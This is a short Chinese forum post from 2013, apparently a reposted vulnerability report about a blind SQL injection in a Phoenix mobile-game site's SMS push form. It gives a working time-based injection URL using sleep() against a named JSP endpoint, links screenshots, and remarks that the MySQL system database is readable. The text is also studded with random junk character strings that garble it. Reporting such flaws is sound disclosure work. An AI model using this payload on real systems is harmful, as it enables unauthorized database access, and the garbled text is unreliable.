简要描述：" o: @* z7 `: u9 a
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。# y6 ~6 p8 w7 Q e) k8 l/ o3 @
3 G4 I- @# a8 u5 B0 M% k' x
详细说明：
L& m, c: r4 F' \8 t' u4 a存在SQL盲注url:
! R2 m1 v* y7 N8 \9 mfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
" A; u8 Y% G6 R: J) zhttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
9 D8 D+ H t" q% Dhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png$ X. t9 | D3 M
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg
" P. @: U' d4 c' T; ~( i$ W
) X2 R+ w0 n1 x0 ^/ g6 I能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对